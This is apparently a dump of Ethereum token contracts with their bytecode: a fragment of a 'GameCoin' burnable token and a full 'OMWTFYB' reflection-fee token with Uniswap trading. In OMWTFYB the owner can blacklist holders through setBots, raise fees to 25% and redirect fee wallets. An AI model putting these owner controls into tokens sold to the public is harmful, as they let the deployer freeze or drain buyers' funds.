allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract GameCoin is BurnableToken, Ownable { string public constant name = "GameCoin"; string public constant symbol = "GAME"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals)); // Constructors function GameCoin () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner } }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461016e57806318160ddd146101c857806323b872dd146101f1578063313ce5671461026a578063378dc3dc1461029357806342966c68146102bc57806366188463146102df57806370a08231146103395780638da5cb5b1461038657806395d89b41146103db578063a9059cbb14610469578063d73dd623146104c3578063dd62ed3e1461051d578063f2fde38b14610589575b600080fd5b34156100eb57600080fd5b6100f36105c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610133578082015181840152602081019050610118565b50505050905090810190601f1680156101605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017957600080fd5b6101ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fb565b604051808215151515815260200191505060405180910390f35b34156101d357600080fd5b6101db6106ed565b6040518082815260200191505060405180910390f35b34156101fc57600080fd5b610250600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f3565b604051808215151515815260200191505060405180910390f35b341561027557600080fd5b61027d6109df565b6040518082815260200191505060405180910390f35b341561029e57600080fd5b6102a66109e4565b6040518082815260200191505060405180910390f35b34156102c757600080fd5b6102dd60048080359060200190919050506109f3565b005b34156102ea57600080fd5b61031f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbc565b604051808215151515815260200191505060405180910390f35b341561034457600080fd5b610370600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e4d565b6040518082815260200191505060405180910390f35b341561039157600080fd5b610399610e96565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103e657600080fd5b6103ee610ebc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042e578082015181840152602081019050610413565b50505050905090810190601f16801561045b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047457600080fd5b6104a9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ef5565b604051808215151515815260200191505060405180910390f35b34156104ce57600080fd5b610503600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110cb565b604051808215151515815260200191505060405180910390f35b341561052857600080fd5b610573600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c7565b6040518082815260200191505060405180910390f35b341561059457600080fd5b6105c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061134e565b005b6040805190810160405280600881526020017f47616d65436f696e00000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561073257600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061080383600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108ee83826114a690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64174876e8000281565b60008082111515610a0357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5157600080fd5b339050610aa682600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610afe826000546114a690919063ffffffff16565b6000819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ccd576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d61565b610ce083826114a690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f47414d450000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f3257600080fd5b610f8482600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061101982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061115c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114bf90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113aa57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156113e657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114b457fe5b818303905092915050565b60008082840190508381101515156114d357fe5b80915050929150505600a165627a7a723058201367871f225a548be61c2a94fbe8fae2e7f319885e071a799774a534ae693b6a0029
{"success": true, "error": null, "results": {}}
7,103
0xdE21940Ebf576EBCd25478DDaFf4696084831936
//104 116 116 112 115 58 47 47 116 46 109 101 47 65 108 112 104 97 76 97 117 110 99 104 101 115 //ASCII // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract OMWTFYB is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "OMWTFYB"; string private constant _symbol = "OMWTFYB"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; // 2% Redistribution uint256 private _teamFee = 10; // 6% Marketing and 4% Buyback Fee uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Deployer; address payable private _Buyback; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketfund, address payable developer, address payable buyback) { _Marketingfund = marketfund; _Deployer = developer; _Buyback = buyback; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_Buyback] = true; _isExcludedFromFee[_Deployer] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(10).mul(6)); _Buyback.transfer(amount.div(10).mul(4)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 20000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Deployer); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Deployer); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Deployer); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external onlyOwner() { require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarketingWallet(address payable account) external onlyOwner() { _Marketingfund = account; } function setDev(address payable account) external onlyOwner() { _Deployer = account; } function setBB(address payable account) external onlyOwner() { _Buyback = account; } }
0x6080604052600436106101bb5760003560e01c806395d89b41116100ec578063d00efb2f1161008a578063d65169c911610064578063d65169c9146104c5578063dd62ed3e146104e5578063e01af92c1461052b578063e47d60601461054b57600080fd5b8063d00efb2f1461046f578063d477f05f14610485578063d543dbeb146104a557600080fd5b8063c0e6b46e116100c6578063c0e6b46e146103ec578063c3c8cd801461040c578063c9567bf914610421578063cba0e9961461043657600080fd5b806395d89b41146101c7578063a9059cbb146103ac578063b515566a146103cc57600080fd5b8063437823ec116101595780636fc3eaec116101335780636fc3eaec1461033a57806370a082311461034f578063715018a61461036f5780638da5cb5b1461038457600080fd5b8063437823ec146102da5780635932ead1146102fa5780635d098b381461031a57600080fd5b806323b872dd1161019557806323b872dd1461025c578063273123b71461027c578063286671621461029e578063313ce567146102be57600080fd5b806306fdde03146101c7578063095ea7b31461020657806318160ddd1461023657600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b50604080518082018252600781526627a6abaa232ca160c91b602082015290516101fd9190611d59565b60405180910390f35b34801561021257600080fd5b50610226610221366004611bea565b610584565b60405190151581526020016101fd565b34801561024257600080fd5b50683635c9adc5dea000005b6040519081526020016101fd565b34801561026857600080fd5b50610226610277366004611baa565b61059b565b34801561028857600080fd5b5061029c610297366004611b3a565b610604565b005b3480156102aa57600080fd5b5061029c6102b9366004611d14565b610658565b3480156102ca57600080fd5b50604051600981526020016101fd565b3480156102e657600080fd5b5061029c6102f5366004611b3a565b6106e5565b34801561030657600080fd5b5061029c610315366004611cdc565b610733565b34801561032657600080fd5b5061029c610335366004611b3a565b61077b565b34801561034657600080fd5b5061029c6107c7565b34801561035b57600080fd5b5061024e61036a366004611b3a565b6107f4565b34801561037b57600080fd5b5061029c610816565b34801561039057600080fd5b506000546040516001600160a01b0390911681526020016101fd565b3480156103b857600080fd5b506102266103c7366004611bea565b61088a565b3480156103d857600080fd5b5061029c6103e7366004611c15565b610897565b3480156103f857600080fd5b5061029c610407366004611d14565b61093b565b34801561041857600080fd5b5061029c6109da565b34801561042d57600080fd5b5061029c610a10565b34801561044257600080fd5b50610226610451366004611b3a565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561047b57600080fd5b5061024e60165481565b34801561049157600080fd5b5061029c6104a0366004611b3a565b610dd7565b3480156104b157600080fd5b5061029c6104c0366004611d14565b610e23565b3480156104d157600080fd5b5061029c6104e0366004611b3a565b610ef0565b3480156104f157600080fd5b5061024e610500366004611b72565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053757600080fd5b5061029c610546366004611cdc565b610f3c565b34801561055757600080fd5b50610226610566366004611b3a565b6001600160a01b03166000908152600e602052604090205460ff1690565b6000610591338484610f7a565b5060015b92915050565b60006105a884848461109e565b6105fa84336105f585604051806060016040528060288152602001611f2a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611380565b610f7a565b5060019392505050565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161062e90611dac565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146106825760405162461bcd60e51b815260040161062e90611dac565b60018110158015610694575060198111155b6106e05760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015260640161062e565b600955565b6000546001600160a01b0316331461070f5760405162461bcd60e51b815260040161062e90611dac565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b815260040161062e90611dac565b60148054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161062e90611dac565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6011546001600160a01b0316336001600160a01b0316146107e757600080fd5b476107f1816113ba565b50565b6001600160a01b0381166000908152600260205260408120546105959061144f565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161062e90611dac565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061059133848461109e565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161062e90611dac565b60005b8151811015610937576001600e60008484815181106108f357634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092f81611ebf565b9150506108c4565b5050565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062e90611dac565b600081116109b55760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161062e565b6109d46127106109ce683635c9adc5dea00000846114d3565b90611552565b600d5550565b6011546001600160a01b0316336001600160a01b0316146109fa57600080fd5b6000610a05306107f4565b90506107f181611594565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161062e90611dac565b601454600160a01b900460ff1615610a945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161062e565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610ad13082683635c9adc5dea00000610f7a565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b0a57600080fd5b505afa158015610b1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b429190611b56565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8a57600080fd5b505afa158015610b9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc29190611b56565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c0a57600080fd5b505af1158015610c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c429190611b56565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d7194730610c72816107f4565b600080610c876000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610cea57600080fd5b505af1158015610cfe573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d239190611d2c565b5050601480546801158e460913d000006015554360165563ffff00ff60a01b1981166201000160a01b1790915560135460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610d9f57600080fd5b505af1158015610db3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109379190611cf8565b6000546001600160a01b03163314610e015760405162461bcd60e51b815260040161062e90611dac565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610e4d5760405162461bcd60e51b815260040161062e90611dac565b60008111610e9d5760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161062e565b610eb560646109ce683635c9adc5dea00000846114d3565b60158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b